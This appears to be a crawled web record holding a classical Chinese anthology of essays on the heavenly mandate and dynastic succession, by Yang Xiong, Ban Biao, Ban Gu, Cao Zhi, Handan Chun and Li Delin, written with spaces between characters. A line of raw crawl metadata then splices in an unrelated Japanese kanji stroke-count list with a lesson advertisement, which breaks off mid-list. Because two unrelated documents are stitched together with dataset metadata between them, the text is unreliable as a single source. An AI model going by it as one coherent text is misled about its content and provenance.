征 瑞 之 攸 祚 . 审 天 应 之 萌 兆 . 察 人 物 之 所 附 . 念 功 成 而 道 退 . 无 非 次 而 妄 据 . 后 之 人 . 诚 能 昭 然 远 览 . 旷 然 深 悟 . 收 莽 述 之 闇 惑 . 忠 邓 耿 之 弘 虑 . 好 谋 而 要 成 . 临 事 而 知 惧 . 距 张 玄 之 邪 说 . 思 在 三 之 明 数 . 则 福 禄 衍 于 无 穷 . 亦 世 不 失 其 通 路 矣 .\n【 文 】 汉 杨 雄 剧 秦 美 新 曰 . 上 罔 显 于 羲 皇 . 中 莫 盛 于 唐 虞 . 迩 靡 着 于 成 周 . 仲 尼 不 遭 用 . 春 秋 因 斯 发 言 . 神 明 所 祚 . 兆 民 所 托 . 罔 不 云 道 德 仁 义 礼 智 . 独 秦 崛 起 西 戎 . 因 襄 文 宣 灵 之 僭 迹 . 基 孝 公 . 茂 惠 文 . 奋 昭 庄 . 至 政 . 破 从 擅 衡 . 并 吞 六 国 . 遂 称 乎 皇 帝 . 盛 从 鞅 仪 韦 斯 之 邪 政 . 驰 鹜 起 翦 恬 贲 之 用 兵 . 灭 灭 古 文 . 刮 语 烧 书 . 弛 礼 崩 乐 . 涂 民 耳 目 . 遂 流 唐 漂 虞 . 涤 殷 荡 周 . 除 仲 尼 之 篇 籍 . 自 勒 功 业 . 改 制 度 轨 量 . 咸 稽 之 于 秦 纪 . 是 以 耆 儒 硕 老 . 抱 其 书 而 永 遯 . 礼 官 博 士 . 卷 其 舌 而 不 谈 . 二 世 而 亡 . 何 其 剧 欤 . 帝 王 之 道 . 兢 兢 乎 不 可 离 已 . 夫 能 贞 而 明 之 者 穷 祥 瑞 . 困 而 昧 之 者 极 愆 . 故 若 古 者 称 尧 舜 . 威 侮 者 陷 桀 纣 . 况 尽 讯 扫 前 圣 数 千 载 功 业 . 专 用 己 之 私 . 而 能 享 祜 者 哉 . 会 汉 祖 龙 腾 酆 沛 . 奋 迅 宛 叶 . 自 武 关 . 与 项 戮 力 咸 阳 . 创 业 蜀 汉 . 发 迹 三 秦 . 克 项 山 东 . 而 帝 天 下 . 擿 秦 政 惨 酷 尤 烦 者 . 应 时 蠲 始 . 儒 林 刑 辟 历 纪 图 典 之 用 稍 增 焉 . 秦 余 制 度 . 项 氏 爵 号 . 虽 违 古 而 犹 袭 之 . 是 以 帝 典 阙 而 不 补 . 王 纲 弛 而 未 张 . 逮 至 大 新 受 命 . 上 帝 还 资 . 后 土 顾 怀 . 玄 符 灵 契 . 云 动 风 偃 . 震 声 日 景 . 炎 光 飞 响 . 盈 塞 天 泉 之 间 . 乃 奉 若 天 命 . 穷 宠 极 崇 . 与 天 剖 神 符 . 地 合 灵 契 . 创 亿 兆 . 规 万 世 . 卓 哉 煌 煌 . 真 天 子 之 表 也 . 若 夫 白 鸠 丹 乌 . 素 鱼 断 蛇 . 方 斯 薎 矣 . 是 以 发 秘 府 . 览 书 林 . 遥 集 乎 文 雅 之 囿 . 翱 翔 乎 礼 乐 之 场 . 胤 殷 周 之 失 业 . 绍 唐 虞 之 绝 风 . 懿 律 嘉 量 . 金 科 玉 条 . 焕 烂 照 耀 . 靡 不 宣 臻 . 振 鹭 之 声 充 庭 . 鸿 鸾 之 党 渐 阶 . 俾 前 圣 之 绪 . 布 濩 流 衍 而 不 韫 韥 . 郁 郁 乎 焕 哉 . 天 人 之 事 盛 矣 . 鬼 神 之 望 充 塞 . 绍 少 典 之 苗 . 着 黄 虞 之 裔 . 帝 典 阙 者 已 补 . 王 纲 弛 者 既 张 . 炳 炳 炜 炜 . 岂 不 懿 哉 . 而 述 前 典 . 巡 四 民 . 迄 四 岳 . 增 封 太 山 . 广 禅 梁 甫 . 斯 受 命 者 之 典 业 也 . 崇 岳 渟 海 通 渎 之 神 . 咸 设 坛 场 . 望 受 命 之 臻 焉 . 海 外 遐 方 . 信 延 颈 企 踵 . 回 回 内 向 . 喁 喁 如 也 . 帝 者 虽 勤 让 . 恶 可 以 已 乎 . 宜 命 贤 哲 . 作 典 引 一 篇 . 以 示 来 人 . 摛 之 罔 极 . 令 万 世 常 戴 巍 巍 . 履 栗 栗 . 嗅 馨 香 . 含 甘 实 . 镜 纯 粹 之 至 精 . 聆 清 和 之 正 声 . 则 百 工 伊 凝 . 庶 绩 越 熙 . 荷 天 衢 . 提 地 厘 . 斯 天 下 之 上 则 已 . 庶 可 试 哉 .\n【 论 】 后 汉 班 彪 王 命 论 曰 . 昔 在 帝 尧 之 禅 曰 . 咨 尔 舜 . 天 之 历 数 在 尔 躬 . 舜 亦 以 命 禹 . 既 于 稷 契 . 咸 佐 唐 虞 . 光 济 四 海 . 弈 世 载 德 . 至 于 汤 武 . 而 有 天 下 . 虽 其 遭 遇 异 时 . 禅 代 不 同 . 至 于 应 天 顺 民 . 其 揆 一 焉 . 是 故 刘 氏 承 尧 之 祚 . 氏 族 之 世 . 着 于 春 秋 . 唐 据 火 德 而 绍 之 . 始 起 沛 泽 . 则 神 母 夜 号 . 以 彰 赤 帝 之 符 . 由 是 言 之 . 帝 王 之 祚 . 必 有 明 圣 显 懿 之 德 . 丰 功 厚 利 积 累 之 业 . 然 后 精 诚 通 于 神 明 . 流 泽 加 于 生 民 . 故 能 为 鬼 神 所 福 向 . 天 下 所 归 往 . 未 见 运 世 无 本 . 功 德 不 纪 . 而 得 倔 起 在 此 位 者 也 . 世 俗 见 高 祖 兴 于 布 衣 . 不 达 其 故 . 以 为 适 遭 暴 乱 . 得 奋 其 剑 . 游 说 之 士 . 至 比 天 下 于 逐 鹿 . 幸 捷 而 得 之 . 不 知 神 器 有 命 . 不 可 以 智 力 求 . 悲 夫 . 此 世 之 所 以 多 乱 臣 贼 子 者 也 . 若 然 者 . 岂 徒 闇 于 天 道 哉 . 又 不 睹 之 于 人 事 矣 . 夫 饿 馑 流 隶 . 饥 寒 道 路 . 思 有 短 褐 之 袭 . 担 石 之 蓄 . 所 愿 不 过 一 金 . 终 于 转 死 沟 壑 . 何 则 . 贫 穷 亦 有 命 也 . 况 乎 天 子 之 贵 . 四 海 之 富 . 神 明 之 祚 . 可 得 而 妄 处 哉 . 故 虽 遭 罹 厄 会 . 窃 其 权 柄 . 勇 如 信 布 . 强 如 梁 藉 . 成 如 王 莽 . 然 卒 润 镬 伏 锧 . 烹 醢 分 裂 . 又 况 么 么 不 及 数 子 . 而 欲 闇 于 天 位 者 乎 . 是 故 驽 蹇 之 乘 . 不 骋 千 里 之 涂 . 鷰 雀 之 俦 . 不 奋 六 翮 之 用 . 楶 梲 之 材 . 不 荷 栋 梁 之 任 . 斗 筲 之 子 . 不 执 帝 王 之 重 . 易 曰 . 鼎 折 足 . 覆 公 餗 . 不 胜 其 任 也 . 当 秦 之 末 . 豪 杰 并 起 . 共 推 陈 婴 而 王 之 . 婴 母 止 之 曰 . 自 吾 为 子 家 妇 . 而 世 贫 贱 . 今 卒 富 贵 . 不 祥 . 不 如 以 兵 属 人 . 事 成 少 受 其 利 . 不 成 祸 有 所 归 . 婴 从 其 言 . 而 陈 氏 以 宁 . 王 陵 为 汉 将 . 而 母 获 于 楚 . 有 汉 使 来 . 陵 母 见 之 . 谓 曰 . 愿 告 吾 子 . 汉 王 长 者 . 必 得 天 下 . 子 谨 事 之 . 无 有 二 心 . 遂 对 汉 使 . 伏 剑 而 死 . 以 固 勉 之 . 夫 以 疋 妇 之 明 . 犹 能 推 事 理 之 致 . 探 祸 福 之 几 . 而 况 大 丈 夫 之 事 乎 . 是 故 穷 达 有 命 . 吉 凶 由 人 . 婴 母 知 废 . 陵 母 知 兴 . 此 二 者 帝 王 之 分 决 矣 . 盖 在 高 祖 . 其 兴 也 有 五 . 一 曰 帝 尧 之 苗 裔 . 二 曰 体 貌 多 奇 异 . 三 曰 神 武 有 征 应 . 四 曰 宽 明 而 仁 恕 . 五 曰 知 人 善 任 使 . 加 之 以 信 诚 . 好 谋 达 于 听 受 . 见 善 如 不 及 . 用 人 如 用 己 . 从 谏 如 顺 流 . 趍 时 如 向 起 . 当 食 吐 哺 . 纳 子 房 之 策 . 拔 足 挥 洗 . 揖 郦 生 之 说 . 寤 戍 卒 之 言 . 断 怀 土 之 情 . 高 四 皓 之 名 . 割 肌 肤 之 爱 . 举 韩 信 于 行 阵 . 收 陈 平 于 亡 命 . 英 雄 陈 力 . 群 策 毕 举 . 此 高 祖 之 大 略 . 所 以 成 帝 业 也 . 若 乃 灵 瑞 符 应 . 又 可 略 闻 矣 . 是 以 王 武 感 物 而 折 契 . 吕 公 睹 形 而 进 女 . 秦 皇 东 游 以 厌 其 气 . 吕 后 望 云 而 知 所 处 . 始 受 命 则 白 蛇 分 . 西 入 关 则 五 星 聚 . 故 淮 阴 留 侯 . 谓 之 天 授 . 非 人 力 也 . 历 古 今 之 得 失 . 验 行 事 之 成 败 . 取 舍 不 猒 斯 位 . 符 瑞 不 周 斯 度 . 而 苟 昧 权 利 . 越 次 妄 据 . 外 不 量 力 . 内 不 知 命 . 则 必 丧 保 家 之 主 . 夭 天 年 之 寿 . 遇 折 足 之 凶 . 伏 斧 钺 之 诛 . 英 雄 诚 知 觉 寤 . 收 陵 婴 之 明 分 . 绝 信 布 之 觊 觎 . 拒 逐 鹿 之 瞽 说 . 审 神 器 之 有 授 . 贪 不 可 冀 . 无 为 二 母 之 所 笑 . 则 福 祚 流 于 子 孙 . 天 禄 其 永 终 矣 .\n【 典 引 】 后 汉 班 固 典 引 曰 . 陶 唐 舍 胤 而 禅 有 虞 . ○ 文 选 四 十 八 重 有 虞 二 字 . 亦 命 夏 后 . 稷 契 熙 载 . 越 成 汤 武 . 股 肱 既 周 . 天 乃 归 功 元 首 . 将 授 汉 刘 . 俾 其 承 三 季 之 荒 末 . 值 亢 龙 之 灾 孽 . 悬 象 闇 而 恒 文 乖 . 彝 伦 斁 而 旧 章 缺 . 高 光 二 圣 . 辰 居 其 域 . 赫 赫 圣 汉 . 巍 巍 唐 基 . 溯 测 其 源 . 乃 先 孕 虞 育 夏 . 甄 殷 陶 周 . 然 后 宣 二 祖 之 重 光 . 袭 四 宗 之 缉 熙 . 神 灵 日 照 . 光 被 六 幽 . 仁 风 翔 于 海 表 . 威 灵 行 乎 鬼 区 . 盛 哉 皇 家 帝 世 . 德 臣 列 辟 . 功 君 百 王 . 荣 镜 宇 宙 . 涣 杨 寓 内 . 是 以 来 仪 集 羽 族 于 观 魏 . 肉 角 驯 毛 宗 于 外 囿 . 扰 缁 文 皓 质 于 郊 . 升 黄 辉 采 鳞 于 沼 . 甘 露 宵 零 于 丰 草 . 三 足 骞 翥 于 茂 树 . 若 乃 嘉 谷 灵 草 . 奇 兽 神 禽 . 应 图 合 谋 . 穷 祥 极 瑞 者 . 朝 夕 坰 牧 . 日 月 邦 畿 . 卓 荦 方 州 . 羡 溢 乎 要 荒 . 昔 周 姬 有 素 雉 朱 乌 玄 秬 黄 莫 侯 . 之 事 耳 . 君 臣 动 色 . 左 右 相 趍 . 济 济 翼 翼 . 峨 峨 如 也 . 启 恭 馆 之 金 縢 . 御 东 序 之 秘 宝 . 是 时 圣 上 固 已 垂 精 游 神 . 苞 举 艺 文 . 屡 访 群 儒 . 俞 咨 故 老 . 与 之 斟 酌 道 德 之 渊 源 . 肴 覈 仁 义 之 林 薮 . 以 望 元 符 之 臻 焉 . 将 伻 万 嗣 . 扬 洪 晖 . 奋 景 炎 . 扇 遗 风 . 播 芳 烈 . 久 而 逾 新 . 用 而 不 竭 . 汪 汪 乎 丕 天 之 大 律 . 其 畴 能 亘 之 哉 . 唐 哉 皇 哉 . 皇 哉 唐 哉 .\n【 论 】 魏 陈 王 曹 植 魏 德 论 曰 . 元 气 否 塞 . 玄 黄 愤 薄 . 星 辰 乱 逆 . 阴 阳 舛 错 . 四 海 鼎 沸 . 萧 条 沙 漠 . 武 皇 之 兴 也 . 以 道 凌 残 . 义 气 风 发 . 神 戈 退 指 . 则 氛 顺 制 . 灵 弧 云 举 . 则 朝 扬 播 越 . 唯 我 圣 后 . 神 武 盖 天 . 威 光 佐 扫 . 辰 彗 北 ○ 韵 补 二 作 比 . 弯 . 首 尾 争 击 . 气 齐 率 然 . 乃 电 北 . ○ 曹 集 诠 评 云 句 有 脱 文 . 席 卷 千 里 . 隐 乎 若 崩 岳 . 旰 乎 若 溃 海 . 愠 彼 蛮 夏 . 蠢 尔 弗 恭 . 脂 我 萧 斧 . 简 武 炼 锋 . 星 陈 而 天 运 . 振 耀 乎 南 封 . 荆 人 风 靡 . 交 益 影 从 . 军 蕴 余 势 . 袭 利 乘 权 . 荡 鬼 区 于 白 水 . 摛 矫 制 乎 遐 川 . 仰 属 目 于 条 支 . 晞 弱 水 之 潺 湲 . 薄 张 骞 于 大 夏 . 笑 骠 骑 于 祁 连 . 其 化 之 也 如 神 . 其 养 之 也 如 春 . 柔 远 能 迩 . 谁 敢 不 宾 . 宪 度 增 饰 . 日 耀 月 光 . 迹 存 乎 建 安 . 道 隆 乎 延 康 . 于 是 汉 氏 归 义 . 顾 音 孔 昭 . 显 禅 天 位 . 布 唐 放 尧 . 上 犹 谦 谦 弗 纳 也 . 发 不 世 之 明 诏 . 薄 皇 居 而 弗 泰 . 蹈 北 人 之 清 节 . 美 石 户 之 高 介 . 义 贯 金 石 . 神 明 以 兴 . 神 祗 致 祥 . 干 灵 效 佑 . 于 是 群 公 卿 士 . 功 臣 列 辟 . 率 尔 而 进 曰 . 昔 文 王 三 分 居 二 . 以 服 事 殷 . 非 能 之 而 弗 欲 . 盖 欲 之 而 弗 能 . 况 天 网 不 禁 . 皇 纲 圮 纽 . 侯 民 非 复 汉 萌 . 尺 土 非 复 汉 有 . 故 武 皇 创 迹 于 前 . 陛 下 光 美 于 后 . 盖 所 谓 勋 成 于 彼 . 位 定 于 此 者 也 . 将 使 斯 民 . 播 秬 鬯 . 殖 灵 芝 . 锄 六 穟 . 挹 醴 滋 . 遂 乃 凯 风 回 回 . 甘 露 匝 时 . 农 夫 咏 于 田 垄 . 织 妇 吟 而 综 丝 . 黄 吻 之 . 含 哺 而 怡 . 鲐 背 之 老 . 击 壤 而 嬉 . 古 虽 称 乎 赫 胥 . 曷 若 斯 之 大 治 乎 . 于 时 上 富 于 春 秋 . 圣 德 汪 濊 . 奇 志 妙 思 . 神 鉴 灵 察 . 方 将 审 御 阴 阳 . 增 耀 日 月 . 极 祯 祥 于 遐 奥 . 飞 仁 风 以 树 惠 . 既 游 精 万 机 . 探 幽 洞 深 . 逍 遥 六 艺 . 兼 览 儒 林 . 抗 思 乎 文 藻 之 场 囿 . 容 与 乎 道 术 之 彊 畔 . 超 天 路 而 高 峙 . 阶 清 云 以 妙 观 . 将 参 迹 于 三 皇 . 岂 徒 论 功 于 大 汉 . 天 地 位 矣 . 九 域 清 矣 . 皇 化 四 达 . 帝 猷 成 矣 . 明 哉 元 首 . 股 肱 贞 矣 . 礼 乐 既 作 . 兴 颂 声 矣 . 固 将 封 泰 山 . 禅 梁 甫 . 历 名 川 以 祈 福 . 周 五 方 之 灵 宇 . 越 八 九 于 往 素 . 踵 帝 皇 之 灵 矩 . 流 余 祚 于 黎 蒸 . 钟 元 吉 乎 圣 主 .\n【 述 】 魏 邯 郸 淳 上 受 命 述 曰 . 伊 上 天 阐 载 . 自 民 主 肇 建 . 历 听 风 声 . 陶 唐 为 盛 . 虞 夏 受 终 . 殷 周 革 命 . 有 禅 而 帝 . 有 代 而 王 . 禅 代 虽 殊 . 大 小 繇 同 . 于 是 以 汉 历 在 魏 . 赤 运 归 黄 也 . 是 故 大 魏 之 业 . 皇 耀 震 霆 . 肃 清 宇 内 . 万 邦 有 截 . 师 义 翼 汉 . 奉 礼 不 越 . 饬 躬 戮 力 . 茂 亮 弘 烈 . 树 深 根 以 厚 基 . 播 醇 泽 以 酿 味 . 含 光 而 弗 耀 . 戢 翼 而 弗 发 . 将 俟 圣 嗣 . 是 遂 是 达 . 圣 嗣 承 统 . 爰 宣 重 光 . 陈 锡 裕 下 . 民 悦 无 彊 . 三 神 宜 厘 . 四 灵 顺 方 . 元 龟 介 玉 . 应 龙 粹 黄 . 若 云 魏 德 . 据 兹 以 昌 . 尔 乃 鸣 玉 陟 坛 . 三 搢 以 俟 . 既 受 休 命 . 龙 旋 凤 峙 . 煌 煌 厥 晖 . 穆 穆 容 止 . 临 下 有 赫 . 允 也 天 子 . 既 践 帝 位 . 纳 玺 要 绂 . 太 常 司 燎 . 升 炮 告 类 . 珪 璋 峨 峨 . 髦 士 棣 棣 . 跄 跄 圣 躬 . 御 策 以 莅 . 巍 巍 乎 崇 功 . 显 显 乎 德 容 . 信 帝 者 之 壮 业 . 天 休 之 所 钟 也 . 于 时 天 地 交 和 . 日 月 光 精 . 氛 祲 不 作 . 风 尘 弭 清 . 凡 在 坛 场 之 位 . 举 目 乎 广 庭 . 莫 不 君 臣 和 德 . 咸 玉 色 而 金 声 . 屡 省 万 机 . 访 谋 老 成 . 治 咏 儒 墨 . 纳 策 公 卿 . 昧 旦 孜 孜 . 夕 惕 干 干 . 务 在 谐 万 国 . 叙 彝 伦 . 而 折 不 若 . 怀 远 人 . 混 六 合 之 风 . 纳 于 仁 寿 之 门 . 刑 错 靡 试 . 偃 伯 靡 军 . 然 后 乃 勒 功 岱 岳 . 升 中 上 玄 . 斯 固 我 皇 之 大 摹 . 思 心 之 所 存 也 .\n隋 李 德 林 天 命 论 曰 . 有 娀 玄 鸟 . 商 以 兴 焉 . 姜 嫄 巨 迹 . 周 以 兴 焉 . 邑 姜 梦 帝 . 隋 以 兴 焉 . 古 今 三 代 . 灵 命 如 一 . 天 下 之 重 . 不 可 妄 据 . 轩 初 四 帝 . 周 余 六 王 . 藉 势 因 基 . 自 取 而 不 得 也 . 孟 轲 称 仲 尼 之 德 . 过 于 尧 舜 . 着 述 成 帝 者 之 事 . 弟 子 备 王 佐 之 才 . 墨 不 代 苍 . 泣 麟 叹 凤 . 恓 恓 汲 汲 . 虽 圣 达 而 莫 许 也 . 蚩 尤 则 黄 神 抗 衡 . 共 工 则 黑 帝 勍 敌 . 项 羽 诛 秦 摧 汉 . 宰 神 州 . 角 逐 争 驱 . 尽 威 力 而 无 就 也 . 其 余 欻 起 妖 妄 . 何 足 数 乎 . 若 使 四 凶 执 八 元 之 诫 . 三 监 怀 九 臣 之 志 . 韩 信 彭 越 . 深 明 帝 子 之 符 . 孙 述 隗 嚣 . 妙 识 真 人 之 出 . 尉 迥 同 讴 歌 之 类 . 王 谦 比 狱 讼 之 民 . 福 禄 蝉 联 . 胡 可 穷 也 . 而 违 天 逆 物 . 获 罪 人 神 . 呜 呼 . 此 前 事 之 大 戒 矣 . 诛 夷 烹 醢 . 历 代 共 尤 . 僭 逆 凶 邪 . 时 烦 狱 吏 . 其 不 戒 慎 何 哉 . 盖 积 恶 既 成 . 心 自 绝 于 善 道 . 物 类 相 感 . 理 必 至 于 诛 戮 . 天 夺 其 魄 . 鬼 恶 其 盈 . 故 也 . 大 帝 聪 明 . 群 臣 正 直 . 耳 目 监 于 率 土 . 赏 罚 参 于 国 朝 . 辅 助 一 人 . 覆 育 兆 庶 . 岂 有 食 人 之 禄 . 受 人 之 荣 . 苞 藏 祸 心 . 不 歼 尽 者 也 . 必 当 执 法 未 处 其 罪 . 司 命 已 除 其 藉 . 自 古 明 哲 . 虑 远 防 微 . 位 尊 而 心 愈 下 . 禄 厚 而 志 弥 约 . 纳 宠 思 之 以 惧 . 道 高 守 之 以 恭 . 克 念 于 此 . 则 奸 回 不 至 . 谦 光 满 覆 . 义 在 知 几 . 吉 凶 由 人 . 妖 不 自 作 . 夙 沙 则 主 虽 愚 蔽 . 民 尽 知 归 . 有 苗 则 始 为 跋 扈 . 终 而 大 服 . 汉 南 诸 国 . 见 一 面 以 从 殷 . 河 西 将 军 . 率 五 郡 而 臣 汉 . 故 能 招 信 顺 之 助 . 保 太 山 之 安 也\n【 表 】 魏 邯 郸 淳 上 受 命 述 表 曰 . 臣 闻 雅 颂 作 于 盛 德 .\n典 谟 兴 于 茂 功 . 德 盛 功 茂 . 传 序 弗 忘 . 是 故 竹 帛 以 载 之\n. 金 石 以 声 之 . 垂 诸 来 世 . 万 载 弥 光 . 陛 下 以 圣 德 应 期\n. 龙 飞 在 位 . 其 有 天 下 也 . 恭 己 以 受 天 子 之 籍 . 无 为 而\n四 海 顺 风 . 若 乃 天 地 显 应 . 休 征 祥 瑞 . 以 表 圣 德 者 . 不\n可 胜 载 . 铄 乎 焕 显 . 真 神 明 之 所 以 祚 . 命 世 之 令 主 也 .\n凡 自 能 言 之 类 . 莫 不 讴 叹 于 野 . 执 笔 之 徒 . 咸 竭 文 思 .\n献 诗 上 颂 . 臣 抱 疾 伏 蓐 . 作 书 一 篇 . 欲 谓 之 颂 . 则 不 能\n雍 容 盛 懿 . 列 伸 玄 妙 . 欲 谓 之 赋 . 又 不 能 敷 演 洪 烈 . 光\n扬 缉 熙 . 故 思 竭 愚 . 称 受 命 述 .","id":"","dump":"CC-MAIN-2015-35","url":"http:\/\/www.chinapage.com\/gb\/literature\/ywgl002.htm","date":"2015-09-02T10:33:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-35\/segments\/1440645261055.52\/warc\/CC-MAIN-20150827031421-00317-ip-10-171-96-226.ec2.internal.warc.gz","language":"lzh","language_score":0.9649354219,"language_script":"Hani","minhash_cluster_size":26,"top_langs":"{\"lzh_Hani_score\": 0.9649354219436646, \"cmn_Hani_score\": 0.019033780321478844, \"nan_Hani_score\": 0.0160128902643919}","num_words":48462,"character_repetition_ratio":0.014,"word_repetition_ratio":0.001,"special_characters_ratio":0.589,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":0.952,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"The selected kanji are listed below by their\nstroke count\n.\nLearn the stroke count of each kanji, and you can use a kanji dictionary more easily.\nAt first glance, kanji may look difficult to write,\nbut, in fact, they are made up of the same pieces repeated over and over. If you learn the pieces, it is straightforward\nto put the pieces together into full kanji.\nClick a kanji for details, including animated stroke order and JLPT vocabulary. If you really want to learn kanji fast, enroll today and\nlearn Japanese online in private Japanese lessons\nfrom experienced teachers.\n丁 七 乃 九 了 二 人 入 八 刀 力 十 又 万 三 上 下 与 丸 久 之 也 亡 凡 刃 勺 千 及 口 土 士 夕 大 女 子 寸 小 山 川 工 己 巳 干 弓 才 不 丑 中 丹 乏 予 互 五 井 仁 今 介 仏 允 元 公 六 内 円 冗 凶 分 切 刈 匁 化 匹 区 升 午 厄 友 双 反 収 天 太 夫 孔 少 尺 屯 巴 幻 弔 引 心 戸 手 支 文 斗 斤 方 日 月 木 欠 止 比 毛 氏 水 火 父 片 牛 犬 王 且 世 丘 丙 主 仕 他 付 仙 代 令 以 兄 冊 写 冬 処 凸 凹 出 刊 功 加 包 北 半 占 卯 去 古 句 只 召 可 台 史 右 叶 号 司 囚 四 圧 外 央 失 奴 尼 左 巧 巨 市 布 平 幼 庁 広 弁 弘 必 打 払 斥 旦 旧 未 末 本 札 正 母 民 氷 永 汁 犯 玄 玉 甘 生 用 田 由 甲 申 白 皮 皿 目 矛 矢 石 示 礼 穴 立 辺 込 丞 両 争 亘 交 亥 亦 仮 仰 仲 件 任 企 伊 伍 伎 伏 伐 休 会 伝 充 兆 先 光 全 共 再 凪 刑 列 劣 匠 匡 印 危 叫 各 合 吉 同 名 后 吏 吐 向 吸 回 因 団 在 圭 地 壮 多 好 如 妃 妄 字 存 宅 宇 守 安 寺 尽 州 巡 帆 年 庄 式 弐 当 忙 成 扱 旨 早 旬 旭 曲 有 朱 朴 机 朽 次 死 毎 気 汐 汗 汚 江 池 灯 灰 百 竹 米 糸 缶 羊 羽 老 考 耳 肉 肌 自 至 舌 舟 色 芋 芝 虫 血 行 衣 西 迅 乱 亜 亨 伯 伴 伶 伸 伺 似 伽 但 位 低 住 佐 佑 体 何 余 作 克 児 兵 冴 冶 冷 初 判 別 利 助 努 励 労 医 即 却 卵 君 吟 否 含 吹 呂 呈 呉 告 困 囲 図 坂 均 坑 声 壱 売 妊 妙 妥 妨 孝 完 宏 対 尾 尿 局 岐 希 床 序 廷 弟 形 役 忌 忍 志 忘 応 快 我 戒 戻 扶 批 技 抄 把 抑 投 抗 折 抜 択 改 攻 更 杉 李 杏 材 村 杜 束 条 来 求 汰 決 汽 沈 沖 沙 没 沢 災 状 狂 玖 甫 男 町 社 秀 私 究 系 肖 肝 臣 良 芙 花 芳 芸 芹 見 角 言 谷 豆 貝 赤 走 足 身 車 辛 辰 迎 近 返 邑 那 邦 酉 阪 防 麦 並 乳 事 享 京 佳 併 使 侃 例 侍 侑 供 依 価 侮 免 具 典 到 制 刷 券 刺 刻 効 劾 卒 卓 協 参 叔 取 受 周 味 呼 命 和 固 国 坪 垂 夜 奇 奈 奉 奔 妹 妻 姉 始 姓 委 孟 季 学 宗 官 宙 定 宜 宝 実 尚 尭 居 屈 届 岡 岩 岬 岳 岸 幸 底 店 府 延 弥 弦 彼 往 征 径 忠 念 怖 怜 性 怪 房 所 承 披 抱 抵 抹 押 抽 担 拍 拐 拒 拓 拘 拙 招 拝 拠 拡 放 斉 於 旺 昂 昆 昇 昌 明 易 昔 朋 服 杯 東 松 板 析 林 枚 果 枝 枠 枢 欣 欧 武 歩 殴 毒 河 沸 油 治 沼 沿 況 泊 泌 法 泡 波 泣 泥 注 泳 炉 炊 炎 版 牧 物 狙 画 的 盲 直 知 祈 祉 空 突 者 肢 肥 肩 肪 肯 育 舎 芽 苑 苗 若 苦 英 茂 茄 茅 茉 茎 虎 表 迪 迫 迭 述 邪 邸 采 金 長 門 阻 阿 附 雨 青 非 乗 亭 亮 侯 侵 便 係 促 俊 俗 保 信 冒 冠 則 削 前 勁 勅 勇 卑 南 単 卸 厘 厚 叙 咲 哀 品 哉 型 垣 城 変 奎 奏 契 姻 姿 威 孤 客 宣 室 宥 封 専 屋 峠 峡 巻 帝 帥 幽 度 建 弧 彦 待 律 後 怒 思 怠 急 恒 恨 悔 括 拷 拾 持 指 挑 挟 政 故 施 星 映 春 昨 昭 是 昴 昼 枯 架 柄 柊 某 染 柔 柚 柱 柳 査 柾 栄 段 泉 洋 洗 洞 津 洪 洲 洵 洸 活 派 浄 浅 海 炭 点 為 牲 狩 独 狭 玲 珍 甚 界 疫 発 皆 皇 盆 相 盾 省 眉 看 県 砂 研 砕 祐 祖 祝 神 秋 科 秒 窃 糾 紀 約 紅 級 美 耐 耶 肺 胃 胆 背 胎 胞 胡 胤 臭 茜 茶 草 荒 荘 虐 虹 衿 要 訂 計 貞 負 赴 軌 軍 迷 追 退 送 逃 逆 郁 郊 郎 重 限 面 革 音 風 飛 食 首 香 修 俳 俵 俸 倉 個 倍 倒 倖 候 借 倣 値 倫 倭 倹 党 兼 准 凌 凍 剖 剛 剣 剤 勉 匿 原 員 哲 唄 唆 唇 啄 埋 夏 姫 娘 娠 娯 孫 宮 宰 害 宴 宵 家 容 射 将 展 峰 島 峻 差 師 席 帯 帰 座 庫 庭 弱 徐 徒 従 恋 恐 恕 恥 恩 恭 息 恵 悌 悟 悦 悩 扇 拳 挙 振 挿 捕 捜 敏 料 旅 既 時 晃 晋 晏 晟 書 朔 朕 朗 栓 栗 栞 校 株 核 根 格 栽 桂 桃 案 桐 桑 桜 桟 梅 殉 殊 残 殺 泰 流 浜 浦 浩 浪 浮 浴 浸 消 涙 烈 特 珠 班 畔 留 畜 畝 疲 疾 病 症 益 真 眠 砲 破 祥 秘 租 秦 秩 称 竜 笑 粉 粋 紋 納 純 紗 紘 紙 紛 素 紡 索 翁 耕 耗 胴 胸 能 脂 脅 脈 致 航 般 荷 莉 莞 華 蚊 蚕 衰 衷 被 討 訓 託 記 財 貢 赳 起 軒 辱 透 逐 逓 途 通 逝 速 造 連 郡 酌 配 酒 針 降 陛 院 陣 除 陥 隻 隼 飢 馬 骨 高 鬼 乾 亀 偏 停 健 偲 側 偵 偶 偽 副 剰 動 勘 務 唯 唱 商 問 啓 喝 域 執 培 基 堀 堂 婆 婚 婦 宿 寂 寄 寅 密 尉 崇 崎 崚 崩 巣 帳 常 庶 康 庸 張 強 彗 彩 彪 彫 彬 得 悠 患 悪 悼 情 惇 惜 惟 惨 捨 据 捷 捺 掃 授 排 掘 掛 採 探 接 控 推 措 掲 描 救 敗 教 斎 斜 断 旋 族 晨 曹 望 梓 梢 梧 梨 械 欲 殻 毬 涯 液 涼 淑 淡 深 淳 混 添 清 渇 済 渉 渋 渓 渚 爽 猛 猟 猪 猫 率 現 球 理 琉 琢 瓶 産 略 異 皐 盗 盛 眸 眺 眼 票 祭 移 窒 窓 章 笙 笛 符 第 笹 粒 粗 粘 粛 紬 累 細 紳 紹 紺 終 絃 組 経 翌 習 脚 脩 脱 脳 舶 船 菊 菌 菓 菖 菜 菫 萌 著 虚 蛇 蛍 術 袈 袋 規 視 訟 訪 設 許 訳 豚 貧 貨 販 貫 責 赦 軟 転 逮 週 進 逸 部 郭 郵 郷 都 酔 釈 野 釣 閉 陪 陰 陳 陵 陶 陸 険 隆 雪 頂 魚 鳥 鹿 麻 黄 黒 偉 傍 傘 備 凱 割 創 勝 募 勤 博 善 喚 喜 喪 喫 喬 営 圏 堅 堕 堤 堪 報 場 塀 塁 塔 塚 奥 婿 媒 媛 富 寒 尊 尋 就 属 嵐 巽 帽 幅 幾 廃 廊 弾 御 復 循 悲 惑 惣 惰 愉 扉 掌 提 揚 換 握 揮 援 揺 搭 敢 散 敦 敬 斐 晩 普 景 晴 晶 智 暁 暑 替 最 朝 期 棋 棒 棚 棟 森 棺 椋 植 椎 検 極 欺 欽 款 歯 殖 減 渡 渥 渦 温 測 港 湖 湧 湯 湾 湿 満 滋 無 焦 然 焼 煮 猶 琳 琴 